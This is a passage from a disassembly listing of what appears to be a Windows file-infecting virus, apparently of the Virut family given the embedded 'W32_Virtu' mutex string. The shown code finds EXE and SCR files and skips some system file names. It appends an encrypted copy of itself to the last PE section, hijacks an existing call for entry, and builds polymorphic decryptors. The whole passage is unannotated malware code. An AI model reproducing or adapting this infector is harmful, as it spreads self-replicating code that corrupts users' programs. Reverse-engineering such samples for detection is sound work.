; ---------------------------------------------------------------------------
loc_47D932: ; CODE XREF: .adata:0047D920j
mov al, 48h
or al, [ebp+40342Ah]
loc_47D93A: ; CODE XREF: .adata:0047D930j
stosb
test dword ptr ss:loc_403431[ebp], 100000h
mov cl, 75h
jnz short loc_47D96E
mov ax, 0F883h
or ah, [ebp+40342Ah]
stosw
xor eax, eax
stosb
sub dword ptr ss:loc_40398A[ebp], edi
test dword ptr ss:loc_403431[ebp], 200000h
jnz short loc_47D989
mov cl, 77h
jmp short loc_47D989
; ---------------------------------------------------------------------------
loc_47D96E: ; CODE XREF: .adata:0047D947j
mov ax, 1809h
or ah, [ebp+40342Ah]
shl ah, 3
or ah, [ebp+40342Ah]
stosw
sub dword ptr ss:loc_40398A[ebp], edi
loc_47D989: ; CODE XREF: .adata:0047D968j
; .adata:0047D96Cj
mov al, cl
mov ah, byte ptr ss:loc_40398A[ebp]
stosw
mov al, 58h
add al, byte ptr ss:loc_403429[ebp]
stosb
test dword ptr ss:loc_403431[ebp], 1000003h
jz loc_47DA33
mov eax, 268B6467h
mov ecx, dword ptr ss:loc_403431[ebp]
xor ecx, 2000000h
test ecx, 3000000h
jnz short loc_47D9CA
mov eax, 2E876467h
loc_47D9CA: ; CODE XREF: .adata:0047D9C3j
stosd
mov eax, 0
stosw
jnz short loc_47D9DA
mov ax, 0E58Bh
stosw
loc_47D9DA: ; CODE XREF: .adata:0047D9D2j
mov eax, 68F6764h
stosd
xor eax, eax
stosw
test dword ptr ss:loc_403431[ebp], 1000000h
jnz short loc_47DA30
test dword ptr ss:loc_403431[ebp], 8000000h
jz short loc_47DA22
mov ax, 6C8Dh
test dword ptr ss:loc_403431[ebp], 2000000h
setnz cl
or ah, cl
stosw
test cl, cl
jnz short loc_47DA1D
mov ax, 424h
stosw
jmp short loc_47DA30
; ---------------------------------------------------------------------------
loc_47DA1D: ; CODE XREF: .adata:0047DA13j
mov al, 8
stosb
jmp short loc_47DA30
; ---------------------------------------------------------------------------
loc_47DA22: ; CODE XREF: .adata:0047D9FAj
mov ax, 5D58h
add al, [ebp+40342Bh]
stosw
jmp short loc_47DA33
; ---------------------------------------------------------------------------
loc_47DA30: ; CODE XREF: .adata:0047D9EEj
; .adata:0047DA1Bj ...
mov al, 0C9h
stosb
loc_47DA33: ; CODE XREF: .adata:0047D9A6j
; .adata:0047DA2Ej
test dword ptr ss:loc_403431[ebp], 80000000h
jz short loc_47DA5F
mov al, 7
sub al, byte ptr ss:loc_403429[ebp]
shl eax, 1Ah
or eax, 240889h
add ah, byte ptr ss:loc_403429[ebp]
shl ah, 3
add ah, 4
stosd
mov al, 61h
stosb
loc_47DA5F: ; CODE XREF: .adata:0047DA3Dj
mov ax, 0E0FFh
or ah, byte ptr ss:loc_403429[ebp]
stosw
test dword ptr ss:loc_403431[ebp], 20h
jz short loc_47DACA
test dword ptr ss:loc_403431[ebp], 20000000h
jz short loc_47DA90
loc_47DA83: ; CODE XREF: .adata:0047DA8Ej
test edi, 3
jz short loc_47DA90
mov al, 90h
stosb
jmp short loc_47DA83
; ---------------------------------------------------------------------------
loc_47DA90: ; CODE XREF: .adata:0047DA81j
; .adata:0047DA89j
mov eax, edi
mov ecx, dword ptr ss:loc_403982[ebp]
sub eax, ecx
mov [ecx-4], eax
mov al, 58h
or al, byte ptr ss:loc_403429[ebp]
stosb
test dword ptr ss:loc_403431[ebp], 400000h
jz short loc_47DABE
mov ax, 0C350h
or al, byte ptr ss:loc_403429[ebp]
jmp short loc_47DAC8
; ---------------------------------------------------------------------------
loc_47DABE: ; CODE XREF: .adata:0047DAB0j
mov ax, 0E0FFh
or ah, byte ptr ss:loc_403429[ebp]
loc_47DAC8: ; CODE XREF: .adata:0047DABCj
stosw
loc_47DACA: ; CODE XREF: .adata:0047DA75j
test dword ptr ss:loc_403431[ebp], 1000003h
jz short loc_47DB49
test dword ptr ss:loc_403431[ebp], 20000000h
jz short loc_47DAEF
loc_47DAE2: ; CODE XREF: .adata:0047DAEDj
test edi, 3
jz short loc_47DAEF
mov al, 90h
stosb
jmp short loc_47DAE2
; ---------------------------------------------------------------------------
loc_47DAEF: ; CODE XREF: .adata:0047DAE0j
; .adata:0047DAE8j
mov ecx, edi
mov eax, [ebp+40399Ah]
sub ecx, eax
mov [eax-4], ecx
xor ecx, ecx
test dword ptr ss:loc_403431[ebp], 800000h
jnz short loc_47DB18
lea eax, loc_403429[ebp]
loc_47DB10: ; CODE XREF: .adata:0047DB16j
mov cl, [eax]
inc eax
cmp cl, 3
jnb short loc_47DB10
loc_47DB18: ; CODE XREF: .adata:0047DB08j
lea eax, ds:102444h[ecx*8]
shl eax, 8
mov al, 8Bh
stosd
jecxz short loc_47DB2D
mov ax, 0C031h
stosw
loc_47DB2D: ; CODE XREF: .adata:0047DB25j
mov ax, 808Fh
push 0B8h
add ah, cl
stosw
pop eax
stosd
test ecx, ecx
jnz short loc_47DB46
mov ax, 0C031h
stosw
loc_47DB46: ; CODE XREF: .adata:0047DB3Ej
mov al, 0C3h
stosb
loc_47DB49: ; CODE XREF: .adata:0047DAD4j
lea eax, loc_40343C[ebp]
test dword ptr ss:loc_403431[ebp], 10000000h
jnz short loc_47DB61
push edi
sub edi, eax
pop eax
jmp short loc_47DB7A
; ---------------------------------------------------------------------------
loc_47DB61: ; CODE XREF: .adata:0047DB59j
mov edx, [ebx+28h]
sub edi, eax
sub edx, eax
mov ecx, [ebp+4039A2h]
add dword ptr ss:loc_403982[ebp], edx
add [ecx], edi
mov eax, [esp+4]
loc_47DB7A: ; CODE XREF: .adata:0047DB5Fj
mov [ebp+40106Dh], edi
mov edi, [ebp+403986h]
sub eax, dword ptr ss:loc_403982[ebp]
test dword ptr ss:loc_403431[ebp], 40h
jz short loc_47DB9A
neg eax
loc_47DB9A: ; CODE XREF: .adata:0047DB96j
stosd
retn 4
; =============== S U B R O U T I N E =======================================
sub_47DB9E proc near ; CODE XREF: sub_47DFCA+2A8p
push esi
push edi
cmp dword ptr [ebp+4039AEh], 0
jz loc_47DD86
call near ptr loc_47DBBE+1
dec ebx
inc ebp
push edx
dec esi
inc ebp
dec esp
xor esi, [edx]
db 2Eh
inc esp
dec esp
dec esp
loc_47DBBE: ; CODE XREF: sub_47DB9E+Fp
add bh, bh
sub_47DB9E endp ; sp-analysis failed
xchg eax, ebp
mov ds:85890040h, dh
mov esi, 53004039h
mov ebx, [eax+3Ch]
add ebx, eax
push dword ptr [ebx+28h]
mov eax, [ebx+34h]
call sub_47D2D8
mov edx, dword ptr ss:loc_4039A6[ebp]
pop ebx
add eax, [edx+0Ch]
mov dword ptr ss:loc_4039C2[ebp], eax
add eax, [edx+8]
mov [ebp+4039C6h], eax
mov esi, [ebx+28h]
push dword ptr [ebx+80h]
call sub_47D2D8
mov edi, dword ptr ss:loc_4039A6[ebp]
push esi
call sub_47D2D8
mov edx, dword ptr ss:loc_4039A6[ebp]
mov ecx, [edx+8]
add ecx, [edx+0Ch]
sub ecx, esi
sub ecx, 5
js loc_47DD86
jz loc_47DD86
add esi, [ebp+4039AAh]
add esi, [ebp+403972h]
; START OF FUNCTION CHUNK FOR sub_47DD57
loc_47DC38: ; CODE XREF: sub_47DD57+29j
lodsb
cmp al, 0E8h
jnz loc_47DCE3
lea eax, [esi+4]
sub eax, [ebp+403972h]
add eax, [esi]
push eax
call sub_47D2D8
cmp dword ptr ss:loc_4039A6[ebp], 0
jnz short loc_47DC66
cmp eax, [edi+0Ch]
jnb loc_47DD7F
jmp short loc_47DC72
; ---------------------------------------------------------------------------
loc_47DC66: ; CODE XREF: sub_47DD57-FEj
cmp dword ptr ss:loc_4039A6[ebp], edx
jnz loc_47DD7F
loc_47DC72: ; CODE XREF: sub_47DD57-F3j
add eax, [ebp+403972h]
cmp word ptr [eax], 25FFh
jnz loc_47DD7F
mov eax, [eax+2]
sub eax, [ebx+34h]
push eax
call sub_47D2D8
cmp dword ptr ss:loc_4039A6[ebp], edi
jnz loc_47DD7F
add eax, [ebp+4039AAh]
add eax, [ebp+403972h]
mov eax, [eax]
sub eax, [edi+0Ch]
jb loc_47DD7F
cmp eax, [edi+8]
jnb loc_47DD7F
loc_47DCBB: ; CODE XREF: sub_47DD57+22j
add eax, 2
add eax, [edi+14h]
add eax, [ebp+403972h]
push edx
push eax
push dword ptr [ebp+4039BEh]
call dword ptr ss:loc_403548[ebp]
pop edx
test eax, eax
jnz loc_47DD95
jmp loc_47DD7F
; ---------------------------------------------------------------------------
loc_47DCE3: ; CODE XREF: sub_47DD57-11Cj
cmp al, 0FFh
jnz loc_47DD7F
cmp byte ptr [esi], 15h
jnz loc_47DD7F
mov eax, [esi+1]
sub eax, [ebx+34h]
push eax
call sub_47D2D8
cmp dword ptr ss:loc_4039A6[ebp], edi
jnz short loc_47DD7F
add eax, [ebp+4039AAh]
add eax, [ebp+403972h]
mov dword ptr ss:loc_4039CA[ebp], eax
mov eax, [eax]
cmp eax, dword ptr ss:loc_4039C2[ebp]
jb short loc_47DD2C
cmp eax, [ebp+4039C6h]
jb short loc_47DD95
loc_47DD2C: ; CODE XREF: sub_47DD57-35j
cmp eax, 70000000h
jb short loc_47DD6A
call sub_47DD57
lea ecx, [esi-4]
mov eax, ecx
sub eax, [edx]
add eax, [edx+10h]
cmp eax, dword ptr ss:loc_4039CA[ebp]
jnz short locret_47DD56
add esp, 10h
push dword ptr [ecx]
pop [esp-0Ch+arg_24]
popa
jmp short loc_47DD71
; ---------------------------------------------------------------------------
locret_47DD56: ; CODE XREF: sub_47DD57-Fj
retn
; END OF FUNCTION CHUNK FOR sub_47DD57
; =============== S U B R O U T I N E =======================================
sub_47DD57 proc near ; CODE XREF: sub_47DD57-24p
var_8 = dword ptr -8
arg_0 = dword ptr 4
arg_24 = dword ptr 28h
; FUNCTION CHUNK AT 0047DC38 SIZE 0000011F BYTES
pop dword ptr ss:loc_403992[ebp]
pusha
mov esi, [ebp+403972h]
call sub_47D3DF
popa
loc_47DD6A: ; CODE XREF: sub_47DD57-26j
test eax, 80000000h
jnz short loc_47DD7F
loc_47DD71: ; CODE XREF: sub_47DD57-3j
sub eax, [edi+0Ch]
jb short loc_47DD7F
cmp eax, [edi+8]
jb loc_47DCBB
loc_47DD7F: ; CODE XREF: sub_47DD57-F9j
; sub_47DD57-EBj ...
dec ecx
jnz loc_47DC38
loc_47DD86: ; CODE XREF: sub_47DB9E+9j
; .adata:0047DC20j ...
mov edi, [esp-4+arg_0]
and dword ptr [edi+2431h], 7FFFFFFFh
jmp short loc_47DDD1
; ---------------------------------------------------------------------------
loc_47DD95: ; CODE XREF: sub_47DD57-7Fj
; sub_47DD57-2Dj
or dword ptr [edx+24h], 0E0000060h
dec esi
xor eax, eax
mov ecx, [esp+8+var_8]
xchg eax, [ebp+4039AEh]
lea edi, [ecx+2435h]
add eax, [ebp+403972h]
movsw
movsd
dec esi
sub eax, esi
add eax, [edx+14h]
sub eax, [edx+0Ch]
mov byte ptr [esi-5], 0E8h
mov dword ptr [ecx+52h], 5
mov [esi-4], eax
loc_47DDD1: ; CODE XREF: sub_47DD57+3Cj
pop edi
pop esi
retn
sub_47DD57 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47DDD4 proc near ; CODE XREF: .adata:0047DFA2p
; sub_47DFCA+127p
lea esi, [ebp+40384Eh]
push esi
call dword ptr ss:loc_40357C[ebp]
cmp eax, 0FFFFFFFFh
jz locret_47DEA5
mov [ebp+403952h], eax
push 0
push esi
call dword ptr [ebp+4035B4h]
test eax, eax
jz locret_47DEA5
sub eax, eax
push eax
push eax
push 3
push eax
push 1
push 0C0000000h
push esi
call dword ptr [ebp+40355Ch]
cmp eax, 0FFFFFFFFh
jz loc_47E35D
mov [ebp+403956h], eax
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push eax
call dword ptr [ebp+403584h]
cmp eax, 0FFFFFFFFh
jz loc_47E351
push 0
push dword ptr [ebp+403956h]
call dword ptr [ebp+403580h]
cmp eax, 0FFFFFFFFh
jz loc_47E351
mov [ebp+40396Ah], eax
xor ecx, ecx
add eax, ebx
push ecx
push eax
push ecx
push 4
push ecx
push dword ptr [ebp+403956h]
call dword ptr [ebp+403560h]
test eax, eax
jz loc_47E351
xor ecx, ecx
mov [ebp+40396Eh], eax
push ecx
push ecx
push ecx
push 0F001Fh
push eax
call dword ptr [ebp+4035A0h]
test eax, eax
jz loc_47E329
mov [ebp+403972h], eax
locret_47DEA5: ; CODE XREF: sub_47DDD4+10j
; sub_47DDD4+27j ...
retn
sub_47DDD4 endp
; =============== S U B R O U T I N E =======================================
sub_47DEA6 proc near ; CODE XREF: sub_47DFCA+117p
; sub_47DFCA+223p
mov eax, 69CDh
mov ecx, [ebx+38h]
test dword ptr ss:loc_403431[ebp], 10000000h
jnz short loc_47DEC0
add eax, [ebp+40106Dh]
loc_47DEC0: ; CODE XREF: sub_47DEA6+12j
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+40397Ah], eax
mov eax, 243Bh
mov ecx, [ebx+3Ch]
add eax, [ebp+40106Dh]
xor edx, edx
add eax, ecx
div ecx
mul ecx
mov [ebp+403976h], eax
retn
sub_47DEA6 endp
; =============== S U B R O U T I N E =======================================
sub_47DEEB proc near ; CODE XREF: sub_47DFCA:loc_47E019p
; sub_47DFCA+13Dp
movzx ecx, word ptr [ebx+6]
stc
loc_47DEF0: ; CODE XREF: sub_47DEEB+23j
jecxz short locret_47DF27
lea edx, [ebx+18h]
movzx eax, word ptr [ebx+14h]
add edx, eax
dec ecx
imul eax, ecx, 28h
add edx, eax
cmp dword ptr [edx], 6E69775Fh
stc
jz short locret_47DF27
cmp dword ptr [edx+0Ch], 1
jb short loc_47DEF0
mov ecx, [ebx+3Ch]
mov eax, [edx+14h]
add eax, [edx+10h]
lea eax, [eax+ecx*2-1]
neg ecx
and eax, ecx
cmp eax, [ebp+40396Ah]
locret_47DF27: ; CODE XREF: sub_47DEEB:loc_47DEF0j
; sub_47DEEB+1Dj ...
retn
sub_47DEEB endp
; =============== S U B R O U T I N E =======================================
sub_47DF28 proc near ; CODE XREF: .adata:0047DFB4p
arg_C = dword ptr 10h
mov edx, [esp+arg_C]
xor eax, eax
pop dword ptr [edx+0B8h]
retn
sub_47DF28 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_47DF35: ; CODE XREF: .adata:0047DF56j
mov ecx, edi
jmp short loc_47DF44
; ---------------------------------------------------------------------------
lea edi, [ebp+40384Eh]
cld
loc_47DF40: ; CODE XREF: .adata:0047DF52j
mov ebx, edi
xor ecx, ecx
loc_47DF44: ; CODE XREF: .adata:0047DF37j
; .adata:0047DF5Aj
lodsb
cmp al, 61h
jb short loc_47DF4F
cmp al, 7Ah
ja short loc_47DF4F
sub al, 20h
loc_47DF4F: ; CODE XREF: .adata:0047DF47j
; .adata:0047DF4Bj
stosb
cmp al, 5Ch
jz short loc_47DF40
cmp al, 2Eh
jz short loc_47DF35
cmp al, 0
jnz short loc_47DF44
jecxz short locret_47DF27
mov eax, [ecx]
cmp eax, 455845h
jz short loc_47DF72
cmp eax, 524353h
jnz locret_47DEA5
loc_47DF72: ; CODE XREF: .adata:0047DF65j
mov eax, [ebx]
cmp eax, 434E4957h
jz locret_47DEA5
cmp eax, 4E554357h
jz locret_47DEA5
cmp eax, 32334357h
jz locret_47DEA5
cmp eax, 4F545350h
jz locret_47DEA5
xor ebx, ebx
call sub_47DDD4
jz locret_47DEA5
xor edx, edx
call sub_47DFCA
call sub_47DF28
call $+5
pop ebp
sub ebp, offset loc_402F8A
jmp loc_47E307
; =============== S U B R O U T I N E =======================================
sub_47DFCA proc near ; CODE XREF: .adata:0047DFAFp
var_14 = dword ptr -14h
push dword ptr fs:[edx]
mov esi, [ebp+403972h]
mov fs:[edx], esp
cmp word ptr [esi], 5A4Dh
jnz loc_47E307
mov ebx, [esi+3Ch]
add ebx, esi
cmp word ptr [ebx], 4550h
jnz loc_47E307
test dword ptr [ebx+16h], 2000h
jnz loc_47E307
test byte ptr [ebx+5Ch], 2
mov ecx, [esi+20h]
jz loc_47E307
jecxz short loc_47E019
cmp ecx, 101h
jbe loc_47E307
loc_47E019: ; CODE XREF: sub_47DFCA+41j
call sub_47DEEB
jb loc_47E307
mov ecx, [edx+10h]
add ecx, [edx+0Ch]
mov eax, 10000h
push ecx
call sub_47CB23
xor byte ptr ss:loc_40342F[ebp], dl
mov cl, 20h
xor [ebp+403430h], dh
loc_47E043: ; CODE XREF: sub_47DFCA+92j
push 20h
dec cl
pop eax
js short loc_47E05E
call sub_47CB23
test edx, edx
setz dl
shl edx, cl
xor dword ptr ss:loc_403431[ebp], edx
jmp short loc_47E043
; ---------------------------------------------------------------------------
loc_47E05E: ; CODE XREF: sub_47DFCA+7Ej
; sub_47DFCA+CDj ...
push 6
pop ecx
loc_47E064: ; CODE XREF: sub_47DFCA+B8j
push 6
pop eax
call sub_47CB23
mov al, byte ptr ss:loc_403429[ebp]
xchg al, byte ptr ds:loc_403429[edx+ebp]
mov byte ptr ss:loc_403429[ebp], al
loop loc_47E064
test dword ptr ss:loc_403431[ebp], 8
jnz short loc_47E099
cmp byte ptr [ebp+40342Bh], 1
jz short loc_47E05E
loc_47E099: ; CODE XREF: sub_47DFCA+C4j
test dword ptr ss:loc_403431[ebp], 1000003h
jz short loc_47E0C0
cmp byte ptr ss:loc_403429[ebp], 5
jz short loc_47E05E
cmp byte ptr [ebp+40342Ah], 5
jz short loc_47E05E
cmp byte ptr [ebp+40342Bh], 5
jz short loc_47E05E
loc_47E0C0: ; CODE XREF: sub_47DFCA+D9j
test dword ptr ss:loc_403431[ebp], 80000000h
jz short loc_47E0D5
cmp byte ptr ss:loc_403429[ebp], 2
ja short loc_47E05E
loc_47E0D5: ; CODE XREF: sub_47DFCA+100j
and dword ptr [ebp+4039AEh], 0
call loc_47D570
call sub_47DEA6
call sub_47E310
mov ebx, [ebp+403976h]
call sub_47DDD4
jz loc_47E307
mov esi, [ebp+403972h]
mov ebx, [esi+3Ch]
add ebx, esi
call sub_47DEEB
jb loc_47E307
or dword ptr [edx+24h], 0E0000060h
mov edi, esi
push edx
push esi
add edi, [edx+14h]
add edi, [edx+10h]
test dword ptr ss:loc_403431[ebp], 10000000h
jnz short loc_47E13D
lea esi, loc_40343C[ebp]
mov ecx, [ebp+40106Dh]
rep movsb
loc_47E13D: ; CODE XREF: sub_47DFCA+163j
push edi
mov ecx, 90Fh
lea esi, sub_401000[ebp]
rep movsd
mov cl, 0
jecxz short loc_47E151
rep movsb
loc_47E151: ; CODE XREF: sub_47DFCA+183j
test dword ptr ss:loc_403431[ebp], 10000000h
jz loc_47E209
push dword ptr [ebx+28h]
call sub_47D2D8
mov edx, dword ptr ss:loc_4039A6[ebp]
test edx, edx
jz loc_47E209
mov esi, [ebp+403972h]
mov ecx, [edx+10h]
or dword ptr [edx+24h], 0E0000060h
sub ecx, [edx+8]
jnb short loc_47E18E
xor ecx, ecx
loc_47E18E: ; CODE XREF: sub_47DFCA+1C0j
add esi, [edx+14h]
cmp ecx, [ebp+40106Dh]
mov ecx, [ebp+40106Dh]
jb short loc_47E1F5
mov edi, [esp+14h+var_14]
and dword ptr [ebp+40106Dh], 0
and dword ptr [edi+6Dh], 0
mov edi, [edx+8]
add [edx+8], ecx
add esi, edi
xchg esi, edi
mov eax, [ebp+403986h]
test dword ptr ss:loc_403431[ebp], 40h
jz short loc_47E1CE
neg dword ptr [eax]
loc_47E1CE: ; CODE XREF: sub_47DFCA+200j
add esi, [edx+0Ch]
sub [eax], esi
mov [ebp+4039AEh], esi
mov esi, [ebx+28h]
add [eax], esi
test dword ptr ss:loc_403431[ebp], 40h
jz short loc_47E1EC
neg dword ptr [eax]
loc_47E1EC: ; CODE XREF: sub_47DFCA+21Ej
push ecx
call sub_47DEA6
pop ecx
jmp short loc_47E201
; ---------------------------------------------------------------------------
loc_47E1F5: ; CODE XREF: sub_47DFCA+1D3j
add esi, [ebx+28h]
sub esi, [edx+0Ch]
push ecx
push esi
rep movsb
pop edi
pop ecx
loc_47E201: ; CODE XREF: sub_47DFCA+229j
lea esi, loc_40343C[ebp]
rep movsb
loc_47E209: ; CODE XREF: sub_47DFCA+191j
; sub_47DFCA+1A7j
pop edi
pop esi
rdtsc
xchg eax, edx
lea eax, [edi+1D2h]
cmp dl, byte ptr ss:loc_40342F[ebp]
jnz short loc_47E222
imul edx, 12345678h
loc_47E222: ; CODE XREF: sub_47DFCA+250j
mov [eax-1], dl
call sub_47C1F6
pop edx
mov ecx, [edx+0Ch]
add ecx, [edx+10h]
test dword ptr ss:loc_403431[ebp], 10000000h
lea eax, [ecx+6]
jnz short loc_47E253
mov [ebp+4039AEh], ecx
add eax, [ebp+40106Dh]
and dword ptr [edi+6Dh], 0
loc_47E253: ; CODE XREF: sub_47DFCA+274j
sub eax, [ebx+28h]
push dword ptr ss:loc_40397E[ebp]
mov [edi+52h], eax
pop dword ptr [esi+20h]
test dword ptr ss:loc_403431[ebp], 80000000h
jz short loc_47E278
push edx
call sub_47DB9E
pop edx
loc_47E278: ; CODE XREF: sub_47DFCA+2A5j
mov ecx, [ebp+4039AEh]
jecxz short loc_47E283
mov [ebx+28h], ecx
loc_47E283: ; CODE XREF: sub_47DFCA+2B4j
mov ecx, [edx+10h]
mov eax, [ebp+403976h]
cmp [edx+8], ecx
jnb short loc_47E294
mov [edx+8], ecx
loc_47E294: ; CODE XREF: sub_47DFCA+2C5j
add [edx+10h], eax
and dword ptr [ebx+58h], 0
mov eax, [ebp+40397Ah]
push 243Ch
add [edx+8], eax
pop ecx
add [ebx+50h], eax
mov dl, byte ptr ss:loc_40342F[ebp]
test dword ptr ss:loc_403431[ebp], 10000000h
jz short loc_47E2C5
add ecx, [ebp+40106Dh]
loc_47E2C5: ; CODE XREF: sub_47DFCA+2F3j
mov dh, 0
test dword ptr ss:loc_403431[ebp], 20000h
jnz short loc_47E2E7
inc dh
test dword ptr ss:loc_403431[ebp], 40000h
jnz short loc_47E2E7
mov dh, [ebp+403430h]
loc_47E2E7: ; CODE XREF: sub_47DFCA+307j
; sub_47DFCA+315j
test dword ptr ss:loc_403431[ebp], 4000h
jnz short loc_47E2FE
loc_47E2F3: ; CODE XREF: sub_47DFCA+330j
mov al, [edi]
add al, dl
stosb
add dl, dh
loop loc_47E2F3
jmp short loc_47E307
; ---------------------------------------------------------------------------
loc_47E2FE: ; CODE XREF: sub_47DFCA+327j
; sub_47DFCA+33Bj
mov al, [edi]
xor al, dl
stosb
add dl, dh
loop loc_47E2FE
loc_47E307: ; CODE XREF: .adata:0047DFC5j
; sub_47DFCA+11j ...
xor edx, edx
mov esp, fs:[edx]
pop dword ptr fs:[edx]
pop eax
sub_47DFCA endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_47E310 proc near ; CODE XREF: sub_47DFCA+11Cp
cmp dword ptr [ebp+403956h], 0
jz locret_47DEA5
push dword ptr [ebp+403972h]
call dword ptr ss:loc_4035C4[ebp]
loc_47E329: ; CODE XREF: sub_47DDD4+C5j
push dword ptr [ebp+40396Eh]
call dword ptr ss:loc_40353C[ebp]
lea ecx, [ebp+40395Ah]
lea edx, [ebp+403962h]
push ecx
push edx
push 0
push dword ptr [ebp+403956h]
call dword ptr ss:loc_4035B8[ebp]
loc_47E351: ; CODE XREF: sub_47DDD4+6Bj
; sub_47DDD4+82j ...
push dword ptr [ebp+403956h]
call dword ptr ss:loc_40353C[ebp]
loc_47E35D: ; CODE XREF: sub_47DDD4+45j
lea esi, [ebp+40384Eh]
push dword ptr [ebp+403952h]
push esi
call dword ptr [ebp+4035B4h]
and dword ptr [ebp+403956h], 0
retn
sub_47E310 endp
; ---------------------------------------------------------------------------
dd 0E8h, 16A5D00h, 3349ED81h, 0F0580040h, 8085C10Fh, 85004015h
dd 0C883C3C0h, 0C10FF0FFh, 40158085h, 103DC300h, 75002A00h
dd 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h, 7EE80575h
dd 0E8FFFFFBh, 0FFFFFFD2h, 2DFF2E61h, 12345678h, 25B8h
dd 0A5E86000h, 75FFFFFFh, 24448B39h, 4EB58D30h, 8B004038h
dd 81660850h, 7302063Ah, 685625h, 8B00FF00h, 52006AC4h
dd 0F895FF50h, 83004035h, 3E8108C4h, 5C3F3F5Ch, 0C6830375h
dd 0FB2BE804h, 7FE8FFFFh, 61FFFFFFh, 74B8C3h, 0B1EB0000h
dd 2FB8h, 10E800h, 20C20000h, 30B800h, 3E80000h, 0C2000000h
dd 548D0024h, 2ECD0C24h, 7C00F883h, 0E86019h, 8B000000h
dd 5D302454h, 0ED811A8Bh, 403413h, 0FFE539E8h, 4C261FFh
dd 1020500h, 67070603h, 405C08BCh, 42EE828h, 90E80000h
dd 40h dup(0)
dd 7C809B47h, 7C8308ADh, 7C910331h, 7C80ADA0h, 3 dup(0)
dd 7C80BDB6h, 7C801A24h, 7C80945Ch, 7C802367h, 7C81042Ch
dd 7C810637h, 7C864B0Fh, 7C80C058h, 7C80E7ECh, 7C81153Ch
dd 7C810A77h, 7C831C45h, 7C80B6A1h, 7C8608FFh, 7C835DCAh
dd 7C8111DAh, 7C812ADEh, 7C801D77h, 7C80B905h, 7C80BB76h
dd 7C8309E1h, 7C863DE5h, 7C863F58h, 7C812782h, 7C831CB8h
dd 7C802442h, 7C810B1Ch, 7C80B974h, 7C809A51h, 7C810D87h
dd 7C90D460h, 7C90D682h, 7C90D754h, 7C90D769h, 7C90D793h
dd 7C90DC55h, 7C90DCFDh, 7C90DD90h, 7C90DEB6h, 7C90EA32h
dd 7C9130C6h, 15h dup(0)
dd 380036h, 47E68Ch, 42005Ch, 730061h, 4E0065h, 6D0061h
dd 640065h, 62004Fh, 65006Ah, 740063h, 5C0073h, 330057h
dd 5F0032h, 690056h, 740072h, 75h, 0BBh dup(0)
dd offset loc_40FFFE+2
dd 0Ch dup(0)
dd 0F0000000h, 7FFDh, 1585h dup(0)
_adata ends
; Section 6. (virtual address 00084000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00084000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 484000h
dd 80h dup(0)
align 1000h
_idata2 ends
end start